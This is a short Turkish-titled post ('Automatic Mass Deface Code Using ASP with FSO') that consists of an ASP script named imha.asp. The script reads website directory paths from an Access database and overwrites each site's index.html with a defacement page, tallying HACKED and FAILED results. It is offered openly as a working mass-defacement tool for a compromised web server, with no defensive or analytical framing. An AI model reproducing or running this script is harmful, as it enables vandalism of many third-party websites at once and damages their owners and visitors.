Asp ile FSO Kullanarak Otomatik Mass Deface Kodu

----------------------imha.asp-----------------------

<%Dim objFSO,Cnn,Rs

Set objFSO = CreateObject ("Scripting.FileSystemObject")

set Cnn = Server.CreateObject("adodb.connection")

cnn.Provider = "Microsoft.Jet.Oledb.4.0"

cnn.ConnectionString = Server.MapPath("imha.mdb")

cnn.Open

set Rs = server.CreateObject("adodb.recordset")

Rs.Open "select * from imha",Cnn,1,3

on error resume next

i=0:k=0

do while not rs.EOF

hedef = rs("yol")

hedef = Replace(hedef,"/","\")

hedef = Replace(hedef,"\\","\")

if Right(hedef,1)<>"\" then hedef = trim(hedef) & "\"

on error goto 0

on error resume next

objFSO.CopyFile server.MapPath("azd.htm"), hedef&"index.html"

if err<>0 then

durum = "<font color=red>FAILED</font>":i=i+1

else

durum = "<font color=blue>HACKED</font>":k=k+1

end if

response.Write rs("site") & " > " & durum & " > " & hedef & "<br>"

rs.MoveNext

loop

Response.Write "<br><font color=blue>HACKED</font>[" & k & "]"

Response.Write "<br><font color=red>FAILED</font>[" & i & "]"

%>